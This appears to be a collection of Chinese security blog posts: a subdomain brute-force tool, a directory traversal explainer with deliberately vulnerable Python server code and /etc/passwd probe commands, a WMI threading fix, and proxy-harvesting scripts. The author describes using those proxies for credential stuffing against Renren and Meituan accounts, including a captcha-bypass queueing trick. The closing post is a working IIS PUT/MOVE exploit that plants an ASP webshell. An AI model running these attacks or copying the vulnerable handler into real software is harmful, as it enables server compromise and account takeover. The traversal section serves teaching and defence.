subDomainsBrute — 改进渗透测试时暴力枚举子域名的python脚本

更新日志:

  • 2015-4-2  修复了在Linux系统下进度条输出混乱的bug,填充空格以清空原始输出

渗透测试时,前期的信息收集包括主机(服务)发现。 子域名暴力枚举是十分常用的主机查找手段。

我写了一个改进的小脚本,用于暴力枚举子域名,它的改进在于:

  1. 用小字典递归地发现三级域名,四级域名、五级域名等不容易被探测到的域名
  2. 字典较为全面,小字典就包括3万多条,大字典多达8万条
  3. 默认使用114DNS、百度DNS、阿里DNS这几个快速又可靠的公共DNS进行查询,可随时修改配置文件添加你认为可靠的DNS服务器
  4. 自动筛选泛解析的域名,当前规则是: 超过10个域名指向同一IP,则此后发现的其他指向该IP的域名将被丢弃
  5. 整体速度还过得去,在我的PC上,每秒稳定扫描100到200个域名(10个线程)

以下是我扫描baidu.com得到的结果,共发现1521个域名,能找到不少内网域名和IP,效果还是非常不错的。

它甚至可以发现这样的域名: data.test.noah.baidu.com [10.36.166.17]  未经改进的工具通常是探测不到这个域名的。

扫描其他几家公司,情况一样,可以发现不少内网域名、IP(段)、甚至是十分隐蔽的后台。

这就是不做private DNS 和 public DNS隔离的坏处啊,内网的相关拓扑和服务轻易暴露给黑客了。

https://www.lijiejie.com/wp-content/uploads/2015/04/baidu.com_.txt

youku.com    tudou.com   letv.com    renren.com     tencent.com

下载脚本: https://github.com/lijiejie/subDomainsBrute

请先安装依赖的dnspython,在install目录下。

如果你有什么意见、改进,请反馈,谢谢

附运行时截图一张:

subDomainsBrute

python和django的目录遍历漏洞(任意文件读取)

近来我和同事观察到wooyun平台上较多地出现了“任意文件读取漏洞”,类似:

Wooyun:优酷系列服务器文件读取

攻击者通过请求

http://220.181.185.228/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1

或类似URL,可跨目录读取系统敏感文件。 显然,这个漏洞是因为WebServer处理URL不当引入的。

我们感兴趣的是,这到底是不是一个通用WebServer的漏洞。

经分析验证,我们初步得出,这主要是由于开发人员在python代码中不安全地使用open函数引起,而且低版本的django自身也存在漏洞。

1. 什么是目录遍历漏洞

“目录遍历漏洞”的英文名称是Directory Traversal 或 Path Traversal。指攻击者通过在URL或参数中构造

  • ../
  • ..%2F
  •  /%c0%ae%c0%ae/
  • %2e%2e%2f

或类似的跨父目录字符串,完成目录跳转,读取操作系统各个目录下的敏感文件。很多时候,我们也把它称作“任意文件读取漏洞”。

2. Python和Django的目录遍历漏洞

历史上python和django曾爆出多个目录遍历漏洞,例如:

  1. CVE-2009-2659  Django directory traversal flaw
  2. CVE-2013-4315   python-django: directory traversal with “ssi” template tag
  3. Python CGIHTTPServer File Disclosure and Potential Code Execution

内置的模块和Django模板标签,均受过影响。程序员稍不谨慎,就可能写下有漏洞的代码。

3. 漏洞代码示例

为了演示漏洞的原理,我们写了一段存在明显漏洞的代码:

# -*- coding: utf-8 -*-
import sys
import SocketServer
import BaseHTTPServer
import threading
import time
import exceptions
import os


class MyHttpRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        if os.path.isfile(self.path):
            file = open(self.path)
            self.wfile.write(file.read())
            file.close()
        else:
            self.wfile.write('hello world')

        
class ThreadedHttpServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
    __httpd = None

    @staticmethod
    def get():
        if not ThreadedHttpServer.__httpd:
            ThreadedHttpServer.__httpd = ThreadedHttpServer(('0.0.0.0', 80), MyHttpRequestHandler)
        return ThreadedHttpServer.__httpd


def main():
    try:
        httpd = ThreadedHttpServer.get()
        httpd.serve_forever()
    except exceptions.KeyboardInterrupt:
        httpd.shutdown()
    except Exception as e:
        print e


if __name__ == '__main__':
    main()

在处理GET请求时,我直接取path,然后使用open函数打开path对应的静态文件,并HTTP响应文件的内容。这里出现了一个明显的目录遍历漏洞,对path未做任何判断和过滤。

当我请求http://localhost/etc/passwd时,self.path对应的值是/etc/passwd,而open(‘/etc/passwd’),自然可以读取到passwd文件。

python_directory_traversal

那攻击者为什么要构造/../../../../../../etc/passwd呢? 这是为了防止程序过滤或丢失最左侧的/符号,让起始目录变成脚本当前所在的目录。攻击者使用多个..符号,不断向上跳转,最终到达根/,而根/的父目录就是自己,因此使用再多的..都无差别,最终停留在根/的位置,如此,便可通过绝对路径去读取任意文件。

python_directory_traversal_2

 

4. 漏洞扫描

该漏洞扫描有多种扫描方法,可使用nmap的http-passwd脚本扫描(http://nmap.org/nsedoc/scripts/http-passwd.html),用法:

nmap –script http-passwd –script-args http-passwd.root=/test/ IP地址

nmap-scan-python-directory-traversal

还可以写几行python脚本,检查HTTP响应中是否存在关键字,只需几行代码,主要是:

import httplib
conn = httplib.HTTPConnection(host, timeout=20)
conn.request('GET', '/../../../../../../../../../etc/passwd')
html_doc = conn.getresponse().read()

还发现一些小伙伴通过curl来检查主机是否存在漏洞,确实也很方便:

curl http://localhost/../../../../../../../etc/passwd

5. 漏洞修复

针对低版本的django和python引入的目录遍历,可选择升级python和django。

若是开发自行处理URL不当引入,则可过滤self.path,递归地过滤掉”..“,并限定号base_dir。 当发现URL中存在..,可直接响应403。

python在子线程中使用WMI报错-2147221020

我在一个python脚本中用到了WMI,用于确保杀死超时却未能自己结束的进程 (已经先尝试了Ctrl+Break中止)。

测试代码运行正常,但当我把这个函数放在子线程中使用时,却发现报错:

com_error: (-2147221020, ‘Invalid syntax’, None, None)

后来在网上检索,发现必须添加初始化函数和去初始化函数,所以在一个子线程中可使用的函数代码类似于:

import win32com.client
import pythoncom
import subprocess
import logging

def task_kill_timeout(timeout):
    pythoncom.CoInitialize()
    WMI = win32com.client.GetObject('winmgmts:')
    all_process = WMI.ExecQuery('SELECT * FROM Win32_Process where Name="aaa.exe" or Name="bbb.exe" or Name="ccc.exe"')
    for process in all_process:
        t = process.CreationDate
        t = t[:t.find('.')]
        start_time = time.strptime(str(t), '%Y%m%d%H%M%S' )
        time_passed_by = time.time() - time.mktime(start_time)
        if time_passed_by > timeout:
            logging.error( 'Run taskkill %s' % process.name)
            print 'Run taskkill %s' % process.name
            subprocess.Popen('taskkill /F /pid %s' % process.processid,
                             stderr=subprocess.PIPE,
                             stdout=subprocess.PIPE,
                             )
            time.sleep(1.0)
    pythoncom.CoUninitialize ()

一旦上述aaa.exe,bbb.exe,ccc.exe进程运行超过timeout秒,即会被强制结束。

参考链接:

http://bytes.com/topic/python/answers/608938-importing-wmi-child-thread-throws-error

批量获取及验证HTTP代理Python脚本

HTTP暴力破解、撞库,有一些惯用的技巧,比如:

1. 在扫号人人网时,我遇到单个账号错误两次,强制要求输入验证码,而对方并未实施IP策略。

我采用维护10万(用户名,密码) 队列的方式来绕过验证码。具体的做法是,当某个用户名、密码组合遇到需要验证码,就把该破解序列挂起,放到队列尾部等待下次测试,继续破解其他账号密码。

这样就可以保证2/3的时间都在进行正常破解和扫号。

2. 在破解美团网某系统账号时,我遇到了单个IP访问有一定限制,请求频率不可过快。于是我挂了72个 HTTP代理来解决这个问题。 看似每个IP的请求都正常,但其实从整个程序上看,效率还是挺可观的。

本篇我发出自己抓HTTP的脚本片段,其实只有几行。匿名代理是从这里抓取的:http://www.xici.net.co/nn/

首先获取代理列表 :

from bs4 import BeautifulSoup
import urllib2


of = open('proxy.txt' , 'w')

for page in range(1, 160):
    html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
    soup = BeautifulSoup(html_doc)
    trs = soup.find('table', id='ip_list').find_all('tr')
    for tr in trs[1:]:
        tds = tr.find_all('td')
        ip = tds[1].text.strip()
        port = tds[2].text.strip()
        protocol = tds[5].text.strip()
        if protocol == 'HTTP' or protocol == 'HTTPS':
            of.write('%s=%s:%s\n' % (protocol, ip, port) )
            print '%s=%s:%s' % (protocol, ip, port)

of.close()

接着验证代理是否可用,因为我是用于破解美团网系统的账号,因此用了美团的页面标记:

#encoding=gbk
import httplib
import time
import urllib
import threading

inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')

lock = threading.Lock()

def test():
    while True:
        lock.acquire()
        line = inFile.readline().strip()
        lock.release()
        if len(line) == 0: break
        protocol, proxy = line.split('=')
        headers = {'Content-Type': 'application/x-www-form-urlencoded',
            'Cookie': ''}
        try:
            conn = httplib.HTTPConnection(proxy, timeout=3.0)
            conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
            res = conn.getresponse()
            ret_headers = str( res.getheaders() ) 
            html_doc = res.read().decode('utf-8')
            print html_doc.encode('gbk')
            if ret_headers.find(u'/m/account/login/') > 0:
                lock.acquire()
                print 'add proxy', proxy
                outFile.write(proxy + '\n')
                lock.release()
            else:
                print '.',
        except Exception, e:
            print e

all_thread = []
for i in range(50):
    t = threading.Thread(target=test)
    all_thread.append(t)
    t.start()
    
for t in all_thread:
    t.join()

inFile.close()
outFile.close()

python IIS Put File脚本

平日上班忙,没怎么整理PC里的代码。 把以前写的IIS put file漏洞的利用脚本发一下,这漏洞实在很古老了。。。

#-*- encoding:utf-8 -*-

'''
IIS put file From https://www.lijiejie.com

Usage:
    iisPUT.py www.example.com:8080
'''

import httplib
import sys

try:
    conn = httplib.HTTPConnection(sys.argv[1])
    conn.request(method='OPTIONS', url='/')
    headers = dict(conn.getresponse().getheaders())
    if headers.get('server', '').find('Microsoft-IIS') < 0:
        print 'This is not an IIS web server'
        
    if 'public' in headers and \
       headers['public'].find('PUT') > 0 and \
       headers['public'].find('MOVE') > 0:
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # PUT hack.txt
        conn.request( method='PUT', url='/hack.txt', body='<%execute(request("cmd"))%>' )
        conn.close()
        conn = httplib.HTTPConnection(sys.argv[1])
        # mv hack.txt to hack.asp
        conn.request(method='MOVE', url='/hack.txt', headers={'Destination': '/hack.asp'})
        print 'ASP webshell:', 'http://' + sys.argv[1] + '/hack.asp'
    else:
        print 'Server not vulnerable'
        
except Exception,e:
    print 'Error:', e

在有域名列表的前提下,用来做批量扫描倒还是可以的。
不过目前仍存在PUT File漏洞的主机,实在很少了。
Gist: https://gist.github.com/lijiejie/3eb6c4a1db9b3fe3c59a